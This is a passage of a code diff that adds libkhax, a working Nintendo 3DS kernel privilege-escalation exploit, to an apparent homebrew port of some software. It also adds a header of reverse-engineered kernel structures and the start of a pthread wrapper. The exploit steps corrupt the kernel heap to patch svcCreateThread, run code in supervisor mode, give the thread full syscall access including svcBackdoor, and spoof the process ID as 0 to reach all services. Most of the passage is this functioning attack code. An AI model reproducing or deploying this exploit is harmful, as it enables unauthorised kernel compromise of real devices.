+ 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))
+ {
+ KHAX_printf("Step5:free to pwn failed:%08lx\n", result);
+ return result;
+ }
+ m_overwriteAllocated &= ~(1u << 1);
+
+ // We have an additional layer of instability because of the kernel code overwrite.
+ ++m_corrupted;
+
+ KHAX_printf("Step5:svcCreateThread now hacked\n");
+
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Execute svcCreateThread to execute code at SVC privilege.
+Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()
+{
+ if (m_nextStep != 6)
+ {
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);
+ return MakeError(28, 5, KHAX_MODULE, 1016);
+ }
+
+ // Call svcCreateThread such that r0 is the desired exploit function. Note that the
+ // parameters to the usual system call thunk are rearranged relative to the actual system call
+ // - the thread priority parameter is actually the one that goes into r0. In addition, we
+ // want to pass other parameters that make for an illegal thread creation request, because the
+ // rest of the thread creation SVC occurs before the hacked code gets executed. We want the
+ // thread creation request to fail, then the hack to grant us control. Processor ID
+ // 0x7FFFFFFF seems to do the trick here.
+ Handle dummyHandle;
+ Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(
+ Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());
+
+ KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);
+
+ if (result != STEP6_SUCCESS_RESULT)
+ {
+ // If the result was 0, something actually went wrong.
+ if (result == 0)
+ {
+ result = MakeError(27, 11, KHAX_MODULE, 1023);
+ }
+
+ return result;
+ }
+
+#ifdef KHAX_DEBUG
+ char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];
+ char *sp = oldACLString;
+ for (unsigned char b : m_oldACL)
+ {
+ *sp++ = "0123456789abcdef"[b >> 4];
+ *sp++ = "0123456789abcdef"[b & 15];
+ }
+ *sp = '\0';
+
+ KHAX_printf("oldACL:%s\n", oldACLString);
+#endif
+
+ ++m_nextStep;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// SVC-mode entry point thunk (true entry point).
+#ifndef _MSC_VER
+__attribute__((__naked__))
+#endif
+Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()
+{
+ __asm__ volatile("add sp, sp, #8");
+
+ register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();
+
+ __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));
+}
+
+//------------------------------------------------------------------------------------------------
+// SVC-mode entry point.
+#ifndef _MSC_VER
+__attribute__((__noinline__))
+#endif
+Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()
+{
+ if (Result result = Step6c_UndoCreateThreadPatch())
+ {
+ return result;
+ }
+ if (Result result = Step6d_FixHeapCorruption())
+ {
+ return result;
+ }
+ if (Result result = Step6e_GrantSVCAccess())
+ {
+ return result;
+ }
+ if (Result result = Step6f_FlushCaches())
+ {
+ return result;
+ }
+
+ return STEP6_SUCCESS_RESULT;
+}
+
+//------------------------------------------------------------------------------------------------
+// Undo the code patch that Step5_CorruptCreateThread did.
+Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()
+{
+ // Unpatch svcCreateThread. NOTE: Misaligned pointer.
+ *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->
+ m_threadPatchOriginalCode;
+ --m_corrupted;
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Fix the heap corruption caused as a side effect of step 5.
+Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()
+{
+ // The kernel's heap coalesce code seems to be like the following for the case we triggered,
+ // where we're freeing a block before ("left") an adjacent block ("right"):
+ //
+ // (1) left->m_count += right->m_count;
+ // (2) left->m_next = right->m_next;
+ // (3) right->m_next->m_prev = left;
+ //
+ // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point
+ // to where we want to patch, such that the write to m_prev is the desired code overwrite.
+ // (2) is copying the value we put into right->m_next to accomplish (3).
+ //
+ // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to
+ // point to the correct next free block, and do the write to right->m_next->m_prev that didn't
+ // happen because it instead was writing to kernel code.
+
+ // "left" is the second overwrite page.
+ auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
+ &m_overwriteMemory->m_pages[1].m_freeBlock));
+ // "right->m_next" is the fifth overwrite page.
+ auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
+ &m_overwriteMemory->m_pages[4].m_freeBlock));
+
+ // Do the two fixups.
+ left->m_next = rightNext;
+ --m_corrupted;
+
+ rightNext->m_prev = left;
+ --m_corrupted;
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Grant our process access to all system calls, including svcBackdoor.
+Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()
+{
+ // Everything, except nonexistent services 00, 7E or 7F.
+ static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";
+
+ // Get the KThread pointer. Its type doesn't vary, so far.
+ KThread *kthread = *m_versionData->m_currentKThreadPtr;
+
+ // Debug dumping.
+#ifdef KHAX_DEBUG_DUMP_DATA
+ // Get the KProcess pointer, whose type varies by kernel version.
+ void *kprocess = *m_versionData->m_currentKProcessPtr;
+
+ void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));
+ std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));
+ std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));
+ std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));
+#endif
+
+ // Get a pointer to the SVC ACL within the SVC area for the thread.
+ SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);
+ KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;
+
+ // Save the old one for diagnostic purposes.
+ std::memcpy(m_oldACL, threadACL, sizeof(threadACL));
+
+ // Set the ACL for the current thread.
+ std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Flush instruction and data caches.
+Result KHAX::MemChunkHax::Step6f_FlushCaches()
+{
+ // Invalidates the entire instruction cache.
+ __asm__ volatile(
+ "mov r0, #0\n\t"
+ "mcr p15, 0, r0, c7, c5, 0\n\t");
+
+ // Invalidates the entire data cache.
+ __asm__ volatile(
+ "mov r0, #0\n\t"
+ "mcr p15, 0, r0, c7, c10, 0\n\t");
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Grant access to all services.
+Result KHAX::MemChunkHax::Step7_GrantServiceAccess()
+{
+ // Backup the original PID.
+ Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);
+ if (result != 0)
+ {
+ KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);
+ return result;
+ }
+
+ KHAX_printf("Step7:current pid=%lu\n", m_originalPID);
+
+ // Patch the PID to 0, granting access to all services.
+ svcBackdoor(Step7a_PatchPID);
+
+ // Check whether PID patching succeeded.
+ u32 newPID;
+ result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
+ if (result != 0)
+ {
+ // Attempt patching back anyway, for stability reasons.
+ svcBackdoor(Step7b_UnpatchPID);
+ KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);
+ return result;
+ }
+
+ if (newPID != 0)
+ {
+ KHAX_printf("Step7:nonzero:%lu\n", newPID);
+ return MakeError(27, 11, KHAX_MODULE, 1023);
+ }
+
+ // Reinit ctrulib's srv connection to gain access to all services.
+ srvExit();
+ srvInit();
+
+ // Restore the original PID now that srv has been tricked into thinking that we're PID 0.
+ svcBackdoor(Step7b_UnpatchPID);
+
+ // Check whether PID restoring succeeded.
+ result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
+ if (result != 0)
+ {
+ KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);
+ return result;
+ }
+
+ if (newPID != m_originalPID)
+ {
+ KHAX_printf("Step7:not same:%lu\n", newPID);
+ return MakeError(27, 11, KHAX_MODULE, 1023);
+ }
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Patch the PID to 0.
+Result KHAX::MemChunkHax::Step7a_PatchPID()
+{
+ // Disable interrupts ASAP.
+ // FIXME: Need a better solution for this.
+ __asm__ volatile("cpsid aif");
+
+ // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers
+ // to translate the raw KProcess pointer into pointers into key fields, and we access the
+ // m_processID field from it.
+ *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
+ .m_processID) = 0;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Restore the original PID.
+Result KHAX::MemChunkHax::Step7b_UnpatchPID()
+{
+ // Disable interrupts ASAP.
+ // FIXME: Need a better solution for this.
+ __asm__ volatile("cpsid aif");
+
+ // Patch the PID back to the original value.
+ *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
+ .m_processID) = s_instance->m_originalPID;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Helper for dumping memory to SD card.
+template <std::size_t S>
+bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const
+{
+ char formatted[32];
+ snprintf(formatted, KHAX_lengthof(formatted), filename,
+ static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?
+ "New" : "Old");
+
+ bool result = true;
+
+ FILE *file = std::fopen(formatted, "wb");
+ if (file)
+ {
+ result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);
+ std::fclose(file);
+ }
+ else
+ {
+ result = false;
+ }
+
+ return result;
+}
+
+//------------------------------------------------------------------------------------------------
+// Free memory and such.
+KHAX::MemChunkHax::~MemChunkHax()
+{
+ // Dump memory to SD card if that is enabled.
+#ifdef KHAX_DEBUG_DUMP_DATA
+ if (m_nextStep > 6)
+ {
+ DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");
+ DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");
+ DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");
+ }
+#endif
+
+ // If we're corrupted, we're dead.
+ if (m_corrupted > 0)
+ {
+ KHAX_printf("~:error while corrupt;freezing\n");
+ for (;;)
+ {
+ svcSleepThread(s64(60) * 1000000000);
+ }
+ }
+
+ // This function has to be careful not to crash trying to shut down after an aborted attempt.
+ if (m_overwriteMemory)
+ {
+ u32 dummy;
+
+ // Each page has a flag indicating that it is still allocated.
+ for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)
+ {
+ // Don't free a page unless it remains allocated.
+ if (m_overwriteAllocated & (1u << x))
+ {
+ Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,
+ sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));
+ KHAX_printf("free %u: %08lx\n", x, res);
+ }
+ }
+ }
+
+ // Free the extra linear memory.
+ if (m_extraLinear)
+ {
+ linearFree(m_extraLinear);
+ }
+
+ // s_instance better be us
+ if (s_instance != this)
+ {
+ KHAX_printf("~:s_instance is wrong\n");
+ }
+ else
+ {
+ s_instance = nullptr;
+ }
+}
+
+
+//------------------------------------------------------------------------------------------------
+//
+// Miscellaneous
+//
+
+//------------------------------------------------------------------------------------------------
+// Make an error code
+inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)
+{
+ return (level << 27) + (summary << 21) + (module << 10) + error;
+}
+
+//------------------------------------------------------------------------------------------------
+// Check whether this system is a New 3DS.
+Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)
+{
+ // If the kernel version isn't already known by the caller, find out.
+ u32 kernelVersion = kernelVersionAlreadyKnown;
+ if (kernelVersion == 0)
+ {
+ kernelVersion = osGetKernelVersion();
+ }
+
+ // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.
+ if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))
+ {
+ // Check whether the system is a New 3DS. If this fails, abort, because being wrong would
+ // crash the system.
+ u8 isNew3DS = 0;
+ if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))
+ {
+ *answer = false;
+ return error;
+ }
+
+ // Use the result of APT_CheckNew3DS.
+ *answer = isNew3DS != 0;
+ return 0;
+ }
+
+ // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.
+ *answer = false;
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// gspwn, meant for reading from or writing to freed buffers.
+Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)
+{
+ // Attempt a flush of the source, but ignore the result, since we may have just been asked to
+ // read unmapped memory or something similar.
+ GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);
+
+ // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore
+ // errors, since it may be the destination that is an unmapped address.
+ GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);
+
+ // Copy that floppy.
+ if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,
+ static_cast<u32 *>(dest), 0, size, 8))
+ {
+ KHAX_printf("gspwn:copy fail:%08lx\n", result);
+ return result;
+ }
+
+ // Wait for the operation to finish.
+ if (wait)
+ {
+ gspWaitForPPF();
+ }
+
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Given a pointer to a structure that is a member of another structure,
+// return a pointer to the outer structure. Inspired by Windows macro.
+template <typename Outer, typename Inner>
+Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)
+{
+ unsigned char *p = reinterpret_cast<unsigned char *>(member);
+ p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));
+ return reinterpret_cast<Outer *>(p);
+}
+
+//------------------------------------------------------------------------------------------------
+// Main initialization function interface.
+extern "C" Result khaxInit()
+{
+ using namespace KHAX;
+
+#ifdef KHAX_DEBUG
+ bool isNew3DS;
+ IsNew3DS(&isNew3DS, 0);
+ KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),
+ isNew3DS);
+#endif
+
+ // Look up the current system's version in our table.
+ const VersionData *versionData = VersionData::GetForCurrentSystem();
+ if (!versionData)
+ {
+ KHAX_printf("khaxInit: Unknown kernel version\n");
+ return MakeError(27, 6, KHAX_MODULE, 39);
+ }
+
+ KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,
+ versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);
+
+ // Create the hack object.
+ MemChunkHax hax{ versionData };
+
+ // Run through the steps.
+ if (Result result = hax.Step1_Initialize())
+ {
+ KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step2_AllocateMemory())
+ {
+ KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step3_SurroundFree())
+ {
+ KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step4_VerifyExpectedLayout())
+ {
+ KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step5_CorruptCreateThread())
+ {
+ KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step6_ExecuteSVCCode())
+ {
+ KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);
+ return result;
+ }
+ if (Result result = hax.Step7_GrantServiceAccess())
+ {
+ KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);
+ return result;
+ }
+
+ KHAX_printf("khaxInit: done\n");
+ return 0;
+}
+
+//------------------------------------------------------------------------------------------------
+// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything
+// and frees all memory on the way out.
+extern "C" Result khaxExit()
+{
+ return 0;
+}
diff --git a/frontend/3ds/libkhax/khaxinternal.h b/frontend/3ds/libkhax/khaxinternal.h
new file mode 100644
index 0000000..5d83eab
--- /dev/null
+++ b/frontend/3ds/libkhax/khaxinternal.h
@@ -0,0 +1,339 @@
+#pragma once
+
+#define KHAX_DEBUG
+//#define KHAX_DEBUG_DUMP_DATA
+
+#ifdef KHAX_DEBUG
+ #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
+#else
+ #define KHAX_printf static_cast<void>
+#endif
+
+// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
+// actually compile this program.
+#ifdef _MSC_VER
+ #undef ALIGN
+ #define ALIGN(x) __declspec(align(x))
+ #if _MSC_VER < 1900
+ #define alignof __alignof
+ #endif
+ #define KHAX_ATTRIBUTE(...)
+#else
+ #define KHAX_ATTRIBUTE(...) __VA_ARGS__
+#endif
+
+#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
+
+//------------------------------------------------------------------------------------------------
+namespace KHAX
+{
+ //------------------------------------------------------------------------------------------------
+ // This code uses offsetof illegally (i.e. on polymorphic classes).
+ #pragma GCC diagnostic push
+ #pragma GCC diagnostic ignored "-Winvalid-offsetof"
+
+ //------------------------------------------------------------------------------------------------
+ // General linked list node kernel object.
+ struct KLinkedListNode
+ {
+ KLinkedListNode *next;
+ KLinkedListNode *prev;
+ void *data;
+ };
+ static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
+
+ //------------------------------------------------------------------------------------------------
+ // Base class of reference-counted kernel objects.
+ class KAutoObject
+ {
+ public:
+ u32 m_refCount; // +004
+
+ protected:
+ virtual ~KAutoObject() {}
+ };
+ static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
+ static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
+
+ //------------------------------------------------------------------------------------------------
+ // Base class of synchronizable objects.
+ class KSynchronizationObject : public KAutoObject
+ {
+ public:
+ u32 m_threadSyncCount; // +008
+ KLinkedListNode *m_threadSyncFirst; // +00C
+ KLinkedListNode *m_threadSyncLast; // +010
+ };
+ static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
+ static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
+ "KSynchronizationObject isn't the expected layout.");
+
+ //------------------------------------------------------------------------------------------------
+ struct KDebugThread;
+ struct KThreadLocalPage;
+ class KCodeSet;
+
+ //------------------------------------------------------------------------------------------------
+ // Unofficial name
+ typedef u8 KSVCACL[0x80 / 8];
+
+ //------------------------------------------------------------------------------------------------
+ // ARM VFP register
+ union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
+ {
+ float m_single[2];
+ double m_double;
+ };
+ static_assert(alignof(VFPRegister) == 0x004,
+ "VFPRegister isn't the expected alignment.");
+ static_assert(sizeof(VFPRegister) == 0x008,
+ "VFPRegister isn't the expected size.");
+
+ //------------------------------------------------------------------------------------------------
+ // SVC-mode register save area.
+ // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
+ struct SVCRegisterState
+ {
+ u32 m_r4; // +000
+ u32 m_r5; // +004
+ u32 m_r6; // +008
+ u32 m_r7; // +00C
+ u32 m_r8; // +010
+ u32 m_r9; // +014
+ u32 m_sl; // +018
+ u32 m_fp; // +01C
+ u32 m_sp; // +020
+ u32 m_lr; // +024
+ };
+ static_assert(sizeof(SVCRegisterState) == 0x028,
+ "SVCRegisterState isn't the expected size.");
+
+ //------------------------------------------------------------------------------------------------
+ // SVC-mode thread state structure. This is the last part of the per-
+ // thread page allocated in 0xFF4XX000.
+ // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
+ struct SVCThreadArea
+ {
+ KSVCACL m_svcAccessControl; // +000
+ u32 m_unknown010; // +010
+ u32 m_unknown014; // +014
+ SVCRegisterState m_svcRegisterState; // +018
+ VFPRegister m_vfpRegisters[16]; // +040
+ u32 m_unknown0C4; // +0C0
+ u32 m_fpexc; // +0C4
+ };
+ static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
+ "ThreadSVCArea isn't the expected layout.");
+ static_assert(sizeof(SVCThreadArea) == 0x0C8,
+ "ThreadSVCArea isn't the expected size.");
+
+ //------------------------------------------------------------------------------------------------
+ // Kernel's internal structure of a thread object.
+ class KThread : public KSynchronizationObject
+ {
+ public:
+ u32 m_unknown014; // +014
+ u32 m_unknown018; // +018
+ u32 m_unknown01C; // +01C
+ u32 m_unknown020; // +020
+ u32 m_unknown024; // +024
+ u32 m_unknown028; // +028
+ u32 m_unknown02C; // +02C
+ u32 m_unknown030; // +030
+ u32 m_unknown034; // +034
+ KDebugThread *m_debugThread; // +038
+ s32 m_threadPriority; // +03C
+ void *m_waitingOnObject; // +040
+ u32 m_unknown044; // +044
+ KThread **m_schedulerUnknown048; // +048
+ void *m_arbitrationAddress; // +04C
+ u32 m_unknown050; // +050
+ u32 m_unknown054; // +054
+ u32 m_unknown058; // +058
+ KLinkedListNode *m_waitingOnList; // +05C
+ u32 m_unknownListCount; // +060
+ KLinkedListNode *m_unknownListHead; // +064
+ KLinkedListNode *m_unknownListTail; // +068
+ s32 m_threadPriority2; // +06C
+ s32 m_creatingProcessor; // +070
+ u32 m_unknown074; // +074
+ u32 m_unknown078; // +078
+ u16 m_unknown07C; // +07C
+ u8 m_threadType; // +07E
+ u8 m_padding07F; // +07F
+ void *m_process; // +080
+ u32 m_threadID; // +084
+ SVCRegisterState *m_svcRegisterState; // +088
+ void *m_svcPageEnd; // +08C
+ s32 m_idealProcessor; // +090
+ void *m_tlsUserMode; // +094
+ void *m_tlsKernelMode; // +098
+ u32 m_unknown09C; // +09C
+ KThread *m_prev; // +0A0
+ KThread *m_next; // +0A4
+ KThread **m_temporaryLinkedList; // +0A8
+ u32 m_unknown0AC; // +0B0
+ };
+ static_assert(sizeof(KThread) == 0x0B0,
+ "KThread isn't the expected size.");
+ static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
+ "KThread isn't the expected layout.");
+
+ //------------------------------------------------------------------------------------------------
+ // Kernel's internal structure of a process object.
+ // Version 1.0.0(?) - 7.2.0
+ class KProcess_1_0_0_Old : public KSynchronizationObject
+ {
+ public:
+ u32 m_unknown014; // +014
+ u32 m_unknown018; // +018
+ KThread *volatile m_interactingThread; // +01C
+ u16 m_unknown020; // +020
+ u16 m_unknown022; // +022
+ u32 m_unknown024; // +024
+ u32 m_unknown028; // +028
+ u32 m_memoryBlockCount; // +02C
+ KLinkedListNode *m_memoryBlockFirst; // +030
+ KLinkedListNode *m_memoryBlockLast; // +034
+ u32 m_unknown038; // +038
+ u32 m_unknown03C; // +03C
+ void *m_translationTableBase; // +040
+ u8 m_contextID; // +044
+ u32 m_unknown048; // +048
+ u32 m_unknown04C; // +04C
+ u32 m_mmuTableSize; // +050
+ void *m_mmuTableAddress; // +054
+ u32 m_threadContextPagesSize; // +058
+ u32 m_threadLocalPageCount; // +05C
+ KLinkedListNode *m_threadLocalPageFirst; // +060
+ KLinkedListNode *m_threadLocalPageLast; // +064
+ u32 m_unknown068; // +068
+ s32 m_idealProcessor; // +06C
+ u32 m_unknown070; // +070
+ void *m_resourceLimits; // +074
+ u8 m_unknown078; // +078
+ u8 m_affinityMask; // +079
+ u32 m_threadCount; // +07C
+ KSVCACL m_svcAccessControl; // +080
+ u32 m_interruptFlags[0x80 / 32]; // +090
+ u32 m_kernelFlags; // +0A0
+ u16 m_handleTableSize; // +0A4
+ u16 m_kernelReleaseVersion; // +0A6
+ KCodeSet *m_codeSet; // +0A8
+ u32 m_processID; // +0AC
+ u32 m_kernelFlags2; // +0B0
+ u32 m_unknown0B4; // +0B4
+ KThread *m_mainThread; // +0B8
+ //...more...
+ };
+ static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
+ "KProcess_1_0_0_Old isn't the expected layout.");
+
+ //------------------------------------------------------------------------------------------------
+ // Kernel's internal structure of a process object.
+ // Old 3DS Version 8.0.0 - 9.5.0...
+ class KProcess_8_0_0_Old : public KSynchronizationObject
+ {
+ public:
+ u32 m_unknown014; // +014
+ u32 m_unknown018; // +018
+ KThread *volatile m_interactingThread; // +01C
+ u16 m_unknown020; // +020
+ u16 m_unknown022; // +022
+ u32 m_unknown024; // +024
+ u32 m_unknown028; // +028
+ u32 m_memoryBlockCount; // +02C
+ KLinkedListNode *m_memoryBlockFirst; // +030
+ KLinkedListNode *m_memoryBlockLast; // +034
+ u32 m_unknown038; // +038
+ u32 m_unknown03C; // +03C
+ void *m_translationTableBase; // +040
+ u8 m_contextID; // +044
+ u32 m_unknown048; // +048
+ void *m_userVirtualMemoryEnd; // +04C
+ void *m_userLinearVirtualBase; // +050
+ u32 m_unknown054; // +054
+ u32 m_mmuTableSize; // +058
+ void *m_mmuTableAddress; // +05C
+ u32 m_threadContextPagesSize; // +060
+ u32 m_threadLocalPageCount; // +064
+ KLinkedListNode *m_threadLocalPageFirst; // +068
+ KLinkedListNode *m_threadLocalPageLast; // +06C
+ u32 m_unknown070; // +070
+ s32 m_idealProcessor; // +074
+ u32 m_unknown078; // +078
+ void *m_resourceLimits; // +07C
+ u32 m_unknown080; // +080
+ u32 m_threadCount; // +084
+ u8 m_svcAccessControl[0x80 / 8]; // +088
+ u32 m_interruptFlags[0x80 / 32]; // +098
+ u32 m_kernelFlags; // +0A8
+ u16 m_handleTableSize; // +0AC
+ u16 m_kernelReleaseVersion; // +0AE
+ KCodeSet *m_codeSet; // +0B0
+ u32 m_processID; // +0B4
+ u32 m_unknown0B8; // +0B8
+ u32 m_unknown0BC; // +0BC
+ KThread *m_mainThread; // +0C0
+ //...more...
+ };
+ static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
+ "KProcess_8_0_0_Old isn't the expected layout.");
+
+ //------------------------------------------------------------------------------------------------
+ // Kernel's internal structure of a process object.
+ // New 3DS Version 8.0.0 - 9.5.0...
+ class KProcess_8_0_0_New : public KSynchronizationObject
+ {
+ public:
+ u32 m_unknown014; // +014
+ u32 m_unknown018; // +018
+ KThread *volatile m_interactingThread; // +01C
+ u16 m_unknown020; // +020
+ u16 m_unknown022; // +022
+ u32 m_unknown024; // +024
+ u32 m_unknown028; // +028
+ u32 m_unknown02C; // +02C new to New 3DS
+ u32 m_unknown030; // +030 new to New 3DS
+ u32 m_memoryBlockCount; // +034
+ KLinkedListNode *m_memoryBlockFirst; // +038
+ KLinkedListNode *m_memoryBlockLast; // +03C
+ u32 m_unknown040; // +040
+ u32 m_unknown044; // +044
+ void *m_translationTableBase; // +048
+ u8 m_contextID; // +04C
+ u32 m_unknown050; // +050
+ void *m_userVirtualMemoryEnd; // +054
+ void *m_userLinearVirtualBase; // +058
+ u32 m_unknown05C; // +05C
+ u32 m_mmuTableSize; // +060
+ void *m_mmuTableAddress; // +064
+ u32 m_threadContextPagesSize; // +068
+ u32 m_threadLocalPageCount; // +06C
+ KLinkedListNode *m_threadLocalPageFirst; // +070
+ KLinkedListNode *m_threadLocalPageLast; // +074
+ u32 m_unknown078; // +078
+ s32 m_idealProcessor; // +07C
+ u32 m_unknown080; // +080
+ void *m_resourceLimits; // +084
+ u32 m_unknown088; // +088
+ u32 m_threadCount; // +08C
+ u8 m_svcAccessControl[0x80 / 8]; // +090
+ u32 m_interruptFlags[0x80 / 32]; // +0A0
+ u32 m_kernelFlags; // +0B0
+ u16 m_handleTableSize; // +0B4
+ u16 m_kernelReleaseVersion; // +0B6
+ KCodeSet *m_codeSet; // +0B8
+ u32 m_processID; // +0BC
+ u32 m_unknown0C0; // +0C0
+ u32 m_unknown0C4; // +0C4
+ KThread *m_mainThread; // +0C8
+ //...more...
+ };
+ static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
+ "KProcess_8_0_0_New isn't the expected layout.");
+
+ //------------------------------------------------------------------------------------------------
+ // Done using illegal offsetof
+ #pragma GCC diagnostic pop
+}
diff --git a/frontend/3ds/pthread.h b/frontend/3ds/pthread.h
new file mode 100644
index 0000000..836f4cb
--- /dev/null
+++ b/frontend/3ds/pthread.h
@@ -0,0 +1,68 @@
+
+#ifndef _3DS_PTHREAD_WRAP__
+#define _3DS_PTHREAD_WRAP__
+
+#include "3ds.h"
+#include "stdlib.h"
+#include "string.h"
+#include "stdio.h"
+
+
+#define CTR_PTHREAD_STACK_SIZE 0x10000
+
+typedef struct
+{
+ Handle handle;
+ u32* stack;
+}pthread_t;
+typedef int pthread_attr_t;
+
+//#ifndef DEBUG_HOLD
+//#include "stdio.h"
+//void wait_for_input(void);
+
+//#define DEBUG_HOLD() do{printf("%s@%s:%d.\n",__FUNCTION__, __FILE__, __LINE__);fflush(stdout);wait_for_input();}while(0)
+//#endif
+
+static inline int pthread_create(pthread_t *thread,
+ const pthread_attr_t *attr, void *(*start_routine)(void*), void *arg)
+{
+
+// DEBUG_HOLD();
+
+ thread->stack = linearMemAlign(CTR_PTHREAD_STACK_SIZE, 8);
+
+ svcCreateThread(&thread->handle, (ThreadFunc)start_routine,arg,
